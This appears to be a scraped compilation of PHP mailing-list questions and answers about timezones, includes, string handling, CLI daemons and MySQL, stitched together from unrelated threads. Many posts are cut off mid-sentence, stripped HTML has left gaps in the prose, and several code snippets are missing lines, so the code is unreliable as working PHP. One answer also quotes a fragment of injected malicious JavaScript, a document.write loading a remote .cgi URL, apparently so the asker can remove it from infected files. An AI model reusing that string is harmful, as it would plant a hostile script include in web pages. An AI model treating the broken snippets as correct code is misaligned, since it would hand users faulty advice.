I don’t use GoDaddy, so this may not be entirely accurate.

I’m guessing that it’s these two lines in .htaccess:
AddType application/x-httpd-php .php .htm .html
AddHandler x-httpd-php5-cgi .php .htm .html
They’re changing the handler from PHP files from the default ones to 
x-httpd-php5-cgi, which would cause PHP 5.2 to be used instead. Try commenting 
out these two lines.

You can, though you're never resetting the value of $b in the outer loop, so 
the inner loop will only run once each time after the first run of the outer.

The only thing you have to worry about is quotes characters. Assuming you're 
running 5.3+, just use now docs 
(http://php.net/manual/en/language.types.string.php#language.types.string.syntax.nowdoc).

$String = <<<'STRING'
;document.write('http://nrwhuejbd.freewww.com/34e2b2349bdf29216e455cbc7b6491aa.cgi??8";>');
STRING;

That's expected, as per http://nz.php.net/unset:
"If a globalized variable is unset() inside of a function, only the local 
variable is destroyed. The variable in the calling environment will retain the 
same value as before unset() was called."

You can download just the command line tools from 
https://developer.apple.com/downloads, which is ~100 MB instead of a couple of 
gigs. Has been like this for some time now. You just have to be careful with 
some older code not compiling properly with LLVM.

A call to date_default_timezone_set() during execution can change the timezone. 
If you add echo date_default_timezone_get(); just before this, does it give the 
same output as your date.timezone setting?

This is expected. The error doesn't occur to the second file is included, so 
everything in the first included file is parsed and run before execution is

Exceptions have a lot of overhead and should only be used in exceptional 
circumstances. I don't see how data validation failing is an exceptional 
circumstance.

I find that using Exceptions and try/catch for something this trivial to be 
more confusing and harder to read (thus worse code) than a goto. It is also 
much easier to make a mistake, especially if you're expecting the catching to 
happen outside of the validation function.

The round() function only rounds decimal values. You can use this to emulate 
rounding to a near power of ten by dividing, rounding, then multiplying again. 
i.e. echo "" . round(68500/1000) * 1000 . " ROUNDED";

[PHP] Numeric help needed

[Christopher J Payne]

Hi everyone,

 

I am having a hard time with a numerical problem.

 

I need to round some numbers up and I've tried $round($number) and it
doesn't work so I'm misunderstanding something.

 

For example, if a user inputs 685000 I need it to round up to 69 or if
they input 149560 I need it to round up to 15.  What is the correct way
to do this as everything I have tried doesn't seem to affect the user
inputted figure at all.

 

Anyway help would REALLY be appreciated, I'm sure it's really simple but for
the life of me I'm stumped on why it's not working.

 

Chris

String comparisons (which is what is happening here) are done left to right. so 
it's comparing month, then day, then year. You could use a Ymd format or just 
compare the values of strtotime().

You need to pass a second and third array to array_map() with the same number 
of elements as the first array. The arguments to the callback function are the 
elements from each array at the same offset.

Something like $clean = array_map('mb_convert_encoding', $dirty_arr, 
array_fill(0, count($dirty_arr), 'utf-16'), array_fill(0, count($dirty_arr), 
'utf-8'));

It seems as though your editor has changed the normal quotes around  into 
"pretty" quotes. Change the ‘s and ’s back to '.

You saved action.php as a RTF file rather than a plain text file. Resave it as 
a plain text file.

Assuming you did $move_uploaded_file = move_uploaded_file($filename, 
$destination);, then isset($move_uploaded_file) will always be true.

isset() just checks if the variable you past to it is set, not if it has a 
non-false value. You could simply use if(move_uploaded_file($filename, 
$destination)), or if($move_uploaded_file).

You've only compiled in MySQLi. You also need to pass --with-mysql to 
configure. As you can compile in MySQLi, you should have no problems with MySQL.

Yes, I think the way it works is correct.

It follows similar conversions when changing from a data type that allows more 
data to one that allows less. Similar things happen when converting from a 
floating point to integral value.

It also directly correlates to the C functions for doing the same thing (atof, 
strtod, the like).

The manual clearly states this is how a string is converted into a number: 
http://php.net/manual/en/language.types.string.php#language.types.string.conversion

"The value is given by the initial portion of the string. If the string starts 
with valid numeric data, this will be the value used. Otherwise, the value will 
be 0 (zero). Valid numeric data is an optional sign, followed by one or more 
digits (optionally containing a decimal point), followed by an optional 
exponent. The exponent is an 'e' or 'E' followed by one or more digits."

If you don't want the string turned into a number using the documented method, 
don't use it as one.

file_put_contents() doesn't throw exceptions. As the note on the exception 
documentation says: "Internal PHP functions mainly use Error reporting, only 
modern Object oriented extensions use exceptions."

If you look at the documentation for its return value 
(http://php.net/file_put_contents), you'll see that false is returned on 
failure.

In this case, a warning makes more sense than throwing an exception anyway. A 
warning can be ignored, either by changing the error_reporting level or using 
the error control operator, whereas an exception must be dealt with or 
execution halts.

I'm assuming it has to do with the value, if not an array or object, being cast 
as an array. Thus, non-false equivalent values get cast into an array of size 1:

  int(1)
}
array(0) {
}

In both cases, $v is equivalent to false, so is_string(NULL) = false == NULL == 
$v, likewise for is_null($v);

You're most likely after switch(true) { … } rather than switch($v)

I use grey-listing. It temporarily rejects emails from servers it doesn't 
recognise, which stops most spam but actual email gets through as they 
(correctly) retry.

I also have a learning bayesian filter running in my mail client (Apple's 
Mail), which handles the spam that gets through the greylist.

You still need to pass the value by reference to assign_children(), so:
$new = &$leaf[$pid];
assign_children($pid,$list,&$new);

On further inspection, that's not the problem at all. The problem's around 
assign_children($pid,$list,&$new);

The previous line you defined $new with $new = $leaf[$pid], *copying* that node 
into $new. Thus the assign_children() call updates $new, but not $lead[$pid].

You can fix this by either assigning $new by reference ($new =& $leaf[$pid]) or 
by passing a reference to $lead[$pid] to assign_children instead of $new.

I haven't looked that much into your code, but:
$children = find_children($id,$list);

$list is never defined.

In PHP 5, objects are always assigned by reference, you do not need to make it 
explicit.

You don't want the HTML, as it's not part of the PDF. The first example on 
http://php.net/header even shows what you're trying to achieve.

I would use something simple like:

echo '2011';
} else {
echo '2011-', date('Y');

Just note that array_rand() returns a random (or an array of random) key(s), 
not the values.

May I suggest including the timezone in your date format (O or e)? It may show 
the two date strings to be equivalent.

json_decode(file_get_contents('http://domain/file.json'));

If you need to do a POST rather than a GET, use curl and pass the output from 
curl_exec() to json_decode().

Yes, you're doing something wrong. strpos() returns false if it can't find the 
needle. You should be using if(strpos() === false) { declined; }

You'd use the strtotime function to convert the IETF format to a timestamp, 
then then date function to convert that timestamp to ISO8601.

Something like date(DATE_ISO8601, strtotime('IETF format string')).

if(strpos($name, 'jackson') !== false) {
true
}

You can use stripos for case-insentive matching.

Using regex functions when you don't need the power is overkill and slower. 
Your call to preg_match wasn't working because you need your search term first, 
and it needs proper delimiters.

strtotime() (http://php.net/strtotime) and date() (http://php.net/date). 
There's even a DATE_ISO8601 constant for the correct date format.

It's not complaining about a missing parameter, it's complaining about the lack 
of a specified timezone.

This warning was introduced in PHP5.1, and you either need to set the 
date.timezone INI setting, either in your php.ini or by using ini_set(), or by 
passing a valid timezone to date_default_timezone_set() before calling any 
other date-related functions.

Have a look at asort() (http://php.net/asort), which is used to sort arrays but 
maintain the key association. The default search option should work fine for 
you, if not try one of the other SORT_* flags described on the sort() manual 
page.

Re: [PHP] Regex pattern for preg_match_all

[Simon J Welsh]

As far as I can tell, your problem lies in [^href]*. That will match any 
characters other than h, r, e or f, not anything other than the string href. 
Consider replacing it with [^>]*?. The ? makes it non-greedy so it will stop as 
soon as it can (when it matches the first href) rather than as late as it can 
(when it matches a >)

As $z is converted to a boolean and exists, that works just the same way as 
!empty().

Assuming you're only using  tags, count the number of opening  tags, 
divide by three. First ad block goes after the round($amount/3)-th , second 
ad block goes after the round($amount/3*2)-th .

mysql_query('SELECT * FROM `CandidateQuestions` WHERE `Category` IN (1,2,3,4) 
ORDER BY RAND() LIMIT 1;'); should do it.

Though if there's no other possible values for Category, you could just remove 
the WHERE clause.

Array indices either need to be accessed without quotes for the key, or by 
enclosing the variable in curly braces.

Personally, I'd use something like:

if($hits < 10) {
$top = 10;
} else {
$top = ($hits[0] + 1) * pow(10, strlen($hits) - 1);
}

Basically, add one to the first digit and make the rest of the digits 0. 
Depending on how you want to handle the cases ending in 0s, you may want an 
extra check in there.

Personally I'll get MySQL to do it for me using: insert into mytable (count, 
color) select count(*) as count, searchkeywords from searchtable group by 
searchkeywords order by count desc (see 
http://dev.mysql.com/doc/refman/5.1/en/insert-select.html for more information 
on INSERT ... SELECT)

Otherwise, you'll want to use mysql_fetch_assoc($result). Examples and 
information can be found at http://php.net/mysql_fetch_assoc

Re: [PHP] Application settings, configuration, and preferences.

[J Ravi Menon]

I am partial to the filesystem but I can see scenarios where the db
approach might be useful (single point of control) with good caching
strategy using apc or other mechanisms.

One approach I have followed is that if the config. field and values
are simple key-value pairs, you could store them in a dedicated conf
file and have it included in the main apache conf file (Include
directive). This way, all the configs are accessible via $_SERVER. The
separate conf file can be checked in svn, pushed separately as part of
release process etc...  The same approach also works in standalone php
cli scripts via a shell wrapper - e.g.:

#!/bin/bash
.
# list fields directly here or load them separately - e.g:
#  . /path/to/some_file.conf
export FIELD1="foo"
export FIELD2 ="bar"

# Note: values can have some structure too
export FIELD3="abc,cde,fgh"
.
.
/usr/bin/php some_script.php

You could also use the php ini style confs:

http://php.net/manual/en/function.parse-ini-file.php

In the $_SERVER approach above, the parsing is done at start-up, so
there is no setup cost at every request. For the ini or xml parsing
approach, you may need to cache the result if this parsing cost needs
to be avoided on every request.

 From an application developers stand point this should all be as

 Does anything like this exist?  This seams like an essential piece of

One MVC framework I have used recently is Kohana:

http://docs.kohanaphp.com/

See links on models, views etc.. It has a OOP flavor, and considered
fairly lightweight. I have written my own simplistic MVC framework
which is more efficient but definitely not as feature rich as Kohana.
There are good hooks for db handling (which will do input validation,
escaping etc..).

Re: [PHP] odd while behavior...

[Simon J Welsh]

This is because of your mktime() call. You're trying to get the zeroth day of 
the month, which is the last day of the preceding month. Using mktime(0, 0, 0, 
$i, 1) instead should give you the desired results, assuming you do start at 1, 
and not 0 as you have in your code.

Not sure if it it is a typo above, are you actually passing
$msgContent in the function above? If it is a global variable, you
would need to add a 'global' declaration:

function ProcessForm($values)
{
   global $msgContent;

mail('myemail:domain.com', 'Website Enquiry', $msgContent, "From:
\"{$values['name']}\" <{$values['emailaddress']}>\r\n");
.
.
.
}

Also try adding CRLF sequence at the end of the header line as shown above.

Personally, I'd just use regex to do it. Something like 
preg_replace('#]*?>\s*#m', '', $html) should do it.

Otherwise, you've got trim($pars[$i]->plaintext == "") instead of 
trim($pars[$i]->plaintext) == "".

Thanks Per for clarifying this for me. Now on my follow up question:

[Note: I think it is related to the issues discussed above hence
keeping it on this thread but if I am violating any guidelines here,
do let me know]

One reason the aforesaid questions got triggered was that in our
company right now, there is a big discussion on moving away from
apache+mod_php solution to nginx+fast-cgi based model for handling all
php-based services. The move seems to be more based some anecdotal
observations and possibly not based on a typical php-based app (i.e.
the php script involved was trivial one acting as some proxy to
another backend service).

I have written fast-cgi servers in the past in C++, and I am aware how
the apahce<>fast-cgi-servers work (in unix socket setups).  All
our php apps are written with apache+mod_php in mind (no explicit
resource mgmt ), so this was a concern to me.

If the same scripts now need to run 'forever' as a fastcgi server, are
we forced to do such manual resource mgmt? Or are there solutions here
that work just as in mod_php?

This reminded me of the cli daemons that I had written earlier where
such manual cleanups were done, and hence my doubts on this
nginx+fast-cgi approach.

Ravi

So 'unset($some_big_array)'  or 'unset($some_big_object)' etc.. is the
right way to go for non-resource based items? i.e. it needs to be
explicitly done?

@Tom: I have compiled php with pcntl on and this has never been an
issue. It works well (on a linux setup), and I have deployed
standalone daemons with out any major problems. I have a home-grown
'preforker' framework (which I hope to share soon) which can be used
to exploit multi-core boxes.

@Shawn: It is not academic. There is a follow-up I am planning based
on the doubts above. I have deployed such daemons in the past with
some assumptions on (2) by doing manual cleanups - e.g. closing curl
connections, closing up db handles etc...  Really want to understand
how php works in such setups outside of apache+mod_php.

thanks,
Ravi

[PHP] php cli question

[J Ravi Menon]

Hi,

I have some basic questions on running php  (5.2.x series on Linux
2.6) as a standalone daemon using posix methods (fork() etc..):

#!/usr/bin/php
doSomething()

}

// shutdown logic.

The 'someclass.php' in turn will include other files (via require_once).

The above file will be executed directly from the shell. The main loop
could be listening to new requests via sockets etc..

Few questions:

1) Does opcode cache really matter in such cli-based daemons? As
'SomeClass' is instantiated at every loop, I am assuming it is only
compiled once as it has already been 'seen'.
I am not very clear on how apc (or eaccelerator) works in such cases.


2) What about garbage collection? In a standard apache-mod-php setup,
we rely on the end of a request-cycle to free up resources - close
file descriptiors, free up memory etc..
I am assuming in the aforesaid standalone daemon case, we would
have to do this manually?  In the loop above, would it be better to
'unset($a)' explicitly at the end of it before
it goes to the next iteration?

Note: I have written pre-forker deamons in php directly and
successfully deployed them in the past, but never looked at in depth
to understand all the nuances. Anecdotally, I have
done 'unset()' at some critical places were large arrays were used,
and I think it helped. AFAIK, unlike Java, there is no 'garbage
collector' thread that does all the magic?

Thanks,
Ravi

That wont work, as pipping just passes stdout to stdin, which mysql grabs 
queries to run from (which you're using file redirection for).

I know of someone that wanted to do something similar, but didn't want to use a 
plaintext password in the command (shared host security and that sort of 
stuff), so they got PHP to generate a defaults file with the user/password and 
passed that instead (--defaults-extra-file)

If you're doing it like that, you may as well use:



and leverage sending echo multiple parameters rather than using string 
concatenation.

It's your shell doing what it's supposed to, by replacing $12345678, when the 
entire string's in double quotes, with the contents of the shell variable 
12345678 (most likely nothing), so all that PHP sees is: echo 
md5(strtoupper(''));

[PHP] any major benefit in larger fread() blocks when reading STDIN?

[Robert P. J. Day]

  i'm looking at some existing code that (obviously) reads from stdin:


$fd = fopen("php://stdin", "r");
$source = "";
while (!feof($fd)) {
$source .= fread($fd, 1024);
}
fclose($fd);


it works fine, but is there any reason the original author would have  
chosen 1024 as the individual read unit size?  from the PHP page for  
fread here:


  http://ca.php.net/manual/en/function.fread.php

i read that reading with fread() stops after (among other things),  
"8192 bytes have been read (after opening userspace stream)."  does  
that mean that 8192 is the maximum read size you can specify?  and  
would there be any drawback or value in changing 1024 to 8192?  or  
would it make so little difference that it doesn't matter?  thanks.

[PHP] creating a PHP wrapper script?

[Robert P. J. Day]

  i'm sure this isn't hard to do, but i'm having end-of-week brain
cramps.  just now, i installed a PHP package that lets me download
thumbnails of image files stored on a server -- the URL to generate
and download a thumbnail is, say:

http://server/d1/d2/thumbnail.php?fileID=whatever&arg1=val1&arg2=val2

and so on.  unsurprisingly, the thumbnail generation program accepts
numerous arguments and is incredibly sophisticated, and is stored in a
subdirectory under /var/www/html and ... well, you get the idea,
calling it directly involves creating quite the URL.

  instead, i'd like to stuff a wrapper script at the top of the
document root which hides all that complexity, so i can just browse
to:

http://server/thumb.php?fileID=whatever

and have that top-level thumb.php script make the appropriate
invocation to the real thumbnail.php script with all of those
(default) arguments and values.

  so, what would thumb.php look like?  i obviously need to simulate a
POST call, retrieve the output and pass it back unchanged.  thoughts?
surely this is something that people want to do on a regular basis,
no?

  sure, but deep down, you're still doing what i'm claiming has to be
done at some point -- *explicitly* identifying the target location.
you're just doing it in a different way, which is fine and might be
what i'm after.

  not bad, i'll look at that more closely.  but let me mention a
wrinkle i mentioned before and expand on it so folks can see what i'm
trying to do and why i was suggesting the strategy i did.

  as i said, something i've used before (in admittedly non-PHP
projects) was to require developers who checked out the code base to
set a single env variable (say, PROJ_DIR) to point at the location of
the checkout.  while someone earlier suggested that was "overkill,"
this approach had a major benefit for me.

  in both that earlier project and in this current PHP project, there
was the possibility of multiple code base checkouts -- perhaps the
current stable one and a newer development one.  i'm a big fan of lots
and lots of automated testing so i would write numerous scripts that
would, from the command line, test the code base.

  i want those test scripts to work equally well on the production
checkout and the development checkout, and i also don't want to be
forced to locate those test scripts in any particular directory.  i
might want a totally separate checkout for test scripts, and the
freedom to check them out wherever i want.

  quite simply, i want to be able to check out my test scripts, and
tell them *which* code base to run against.  and i see no way around
that other than to have to explicitly identify the location of the
code base to be tested, and that's what the PROJ_DIR variable was for.
using that single variable, i could reset and point at whatever
checkout i wanted to test.  and i didn't see any easier way to do it.

  i've seen lots of suggestions of very clever ways to have the
components of a single checkout know there the rest of the checkout
is, and most of them would work fine.  but it seems clear that none of
those techniques would give me the ability to do what i want above --
to arbitrarily refer to checkouts from *elsewhere* and have everything
still work.  and there's one more thing.

  to speed up coding, i've added a "utils" directory to the code base,
containing (you guessed it) handy-dandy little utilities.  and since
they're part of the repository, it's not hard for other parts of the
checkout to include them.  but, eventually, someone is going to start
a second, sort-of-related project, and will want to reuse some of
those utilities, and the obvious solution will be to move those
utilities out of the first project and give them their own checkout
(svn external?), and again, i don't want to lock any scripts into any
particular location.

  the single environment variable idea still seems like the obvious
solution, or maybe even more than one.  because i don't see that
there's any way to make this *completely* automated.  at some point,
if i want as much flexibility as possible, a developer who checks out
one or more of these projects has to identify what directories he
wants to work with, and all subsequent includes will work off of that.

  thoughts?  sorry for rambling on so long.

  ok, i'm looking at the PHP manual page for autoload, sample:

  function __autoload($class_name)
  {
require_once $class_name . '.php';
  }

and some obvious questions suggest themselves:

1) in as simple an example as above, does the include_path still
control the search?  since i'm not doing anything fancy above in terms
of specifying *where* that class is defined, it seems that i'll still
have the same problem to solve, no?

2) i'm guessing that i can make the __autoload function as
sophisticated as i want, in that i can have it consult an environment
variable to determine where to search, but i'm still unsure as to how
i can set an environment variable to be consulted on the "server"
side.

[PHP] another question on setting include paths for a project

[Robert P. J. Day]

  to recap regarding an earlier question i asked regarding extending
include paths, i have an existing project (call it "proj" currently
all under a top-level directory also named "proj") which can be SVN
checked out anywhere under a user's home directory.  so in my case, i
might have my svn working copy under, say,
/home/rpjday/stuff/work/proj/, and all proj-related content under
that.

  at the moment, there are some subdirs under proj/ like "common" and
"utils" and "debug", and all includes or requires throughout the
working copy are currently and awkwardly of the form:

  include '../../proj/utils/somescript.php';

in short, every script that needs to include another one somewhere
else in the code structure sadly needs to know its precise relative
location.

  my proposal is to get rid of most of that by:

1) having developers set a single env var PROJ_DIR in their login
   session, reflecting wherever the heck they checked out their
   working copy to, then ...
2) having said developers uniformly extend their directly callable PHP
   scripts with something at the very top like:

  set_include_path(getenv('PROJ_DIR') . PATH_SEPARATOR . get_include_path());

not only will that let them simplify their command-line callable
scripts to say just:

  include 'utils/somescript.php';

also, as i read it, that newly-extended include path percolates down
through all PHP scripts invoked directly or indirectly from this one,
right?  so while i could add that set_include_path() to every single
PHP script everywhere in the code base, it's really only necessary to
add it to those PHP scripts that people intend to *invoke* directly --
every other script will pick it up automatically as it's called, is
that correct?  (did i phrase that meaningfully?)

  that was part one.

  the new additional complication is that some of those PHP scripts
will manually construct HTTP POST requests and ship those requests off
to PHP scripts that live under a public_html/ directory, whose
scripts might *also* want to include some of those very same utils/ or
common/ scripts but that modified include path will, of course, not
carry across a POST request, so what's the standard way to similarly
modify the include path of the scripts on the server end?

  (unsurprisingly, all those "server-side" PHP scripts are also part
of the entire SVN checkout just so i can keep everything in the same
place for testing.)

  so how can i have those "server-side" scripts extend their search
path based on, perhaps, the same environment variable?

  thoughts?

[PHP] no svn checkout of the current PHP development repo?

[Robert P. J. Day]

  just for fun, i figured i'd check out the current PHP development
stream.  however, if you read the web page here:

  http://php.net/svn.php

there's no mention of the "trunk", simply references to branches such
as 5.2 and 5.3.

  i popped over to:

  http://svn.php.net/viewvc/php/php-src/

and, sure enough, there's no "trunk" directory.  am i just missing
something?  because if i click on the "PHP 6" link up there on the
right (which represents exactly what i'd expect for the URL of the
trunk), bad things happen:

  An Exception Has Occurred

  Unknown location: /php/php-src/trunk
  HTTP Response Status

  404 Not Found

thoughts?  i'll assume this is just a temporary thing but, in any
event, if the trunk is normally available, the PHP svn page should
really mention it explicitly, not just the 5.x branches.

  precisely the point i was trying to make, but i might avoid the use
of the word "unavailable" since that's still slightly ambiguous.  it
makes it seem like it's still there somehow, you just can't get to it.
i would be more direct, something like "*removed* as of PHP 6."  then
there's no confusion.

"The initial PHP setup and configuration process is controlled by the use of 
the command line options of the configure script. You could get a list of all

  you're right and, in fact, i knew that, i just forgot.  i'm also
taking seriously the recommendations for PDO and adodb.

[PHP] any reason *not* to use PEAR DB module when accessing mysql?

[Robert P. J. Day]

  (just a warning -- as a relative newbie to PHP, i'll probably have
the occasional dumb question.  just humour me.)

  i'm looking at some existing PHP code that accesses a mysql 5.0 db,
and it's coded using the mysql-specific calls:  mysql_connect,
mysql_select_db, etc, etc.

  is there any reason i *wouldn't* want to rewrite that code using the
more general PEAR DB module, and use mysqli?  certainly, as i read it,
using the PEAR DB module would make it easier down the road if i
suddenly decide to change the DB backend.

  anyway, any compelling arguments for or against?

  i'm not sure what you mean by the above.  while that single project
(that others might want to take advantage of) will have to have a
uniform and consistent layout for everyone, i don't see that that will
enforce any sort of uniformity on *other* projects that might want to
take advantage of it.  or am i misunderstanding you?

  let me emphasize that the layout of the entire "proj" directory will
be consistent across all users and all machines since it will
represent a single SVN checkout, so that's not an issue.  of course,
anyone will be free to check it out anywhere they want but once they
do, its structure will be the same across all checkouts.

  that's why i think the easiest solution is to define a single
environment variable (say, PROJ_DIR) that anyone can set depending on
where they do the checkout, the PHP code itself will (somehow)
initially consult that variable, and all inclusion from then on will
be based on that.  piece of cake, no?

  in fact, developers are free to do more than one checkout, work on
them independently, and change PROJ_DIR depending on which one they
want to pick up for their code.

  does that more clearly explain what i think the right approach is?

  i'm not entirely sure what you're suggesting here, but i don't think
it will work for me as one of the things i want to do is set up a
"test" directory, inside which i might have subdirectories with more
test routines, so i can't guarantee *anyone's* position relative to
the top of the "proj" directory.

  i might even want to write PHP scripts and place them quite some
distance from the "proj" directory but still want to include utility
scripts from the "proj" directory.  based on how i've done this with
shell and makefile-based projects in the past, the easiest solution
seemed to be to simply demand that users set a single environment
variable identifying the location of the "proj" directory, and base
everything off of that by extending the include path.  at that point,
everything falls into place and all include/require references work
relative to the top of the "proj" tree.

  i think that's the direction i'm going to go, unless someone has a
compelling reason not to.  thanks.

[PHP] best way to set up an include path for a multi-level project?

[Robert P. J. Day]

  i have a project (let's call it "proj") which lives in the "proj"
directory and which contains several subdirs, some of which might
contain their own subdirs and so on.  some of those subdirs might
contain utility classes that i want to include or require elsewhere,
so i want to be able to just:

  require 'util.php';

and have the PHP include path "do the right thing."  right now, it's
ugly, as in, having PHP files that do:

  require '../../proj/util.php';

meaning every single file that wants to include another proj-related
file has to know its relative position in the proj hierarchy.   barf.

  based on my experience with shell and makefile-based projects, my
preference would be that anyone who checks out a copy of the project
can check it out anywhere they want, then they need to set the single
shell environment variable, say PROJ_DIR, to the top-level directory
location, say:

  $ export PROJ_DIR=/home/rpjday/php/things/proj

  i would then make sure that env vars are available to PHP scripts
via /etc/php.ini:

  variables_order = "EGPCS"
 ^

and all PHP scripts would start off with something like:

set_include_path(get_include_path() . PATH_SEPARATOR . getenv('PROJ_DIR'));

at that point (and correct me if i'm wrong), all subsequent includes
or requires would simply need to reflect the location of the file
relative to its PROJ_DIR location (barring any weird conflicts with
system files having the same name, of course).

  does that sound about right?  is there a standard way to do this?
that is, to have a sizable PHP hierarchy and allow any files within
that hierarchy to include others conveniently without having to
hardcode directory names.

  requiring users to simply set a single env var has always worked for
me.  is that what others do to solve this?  thanks.
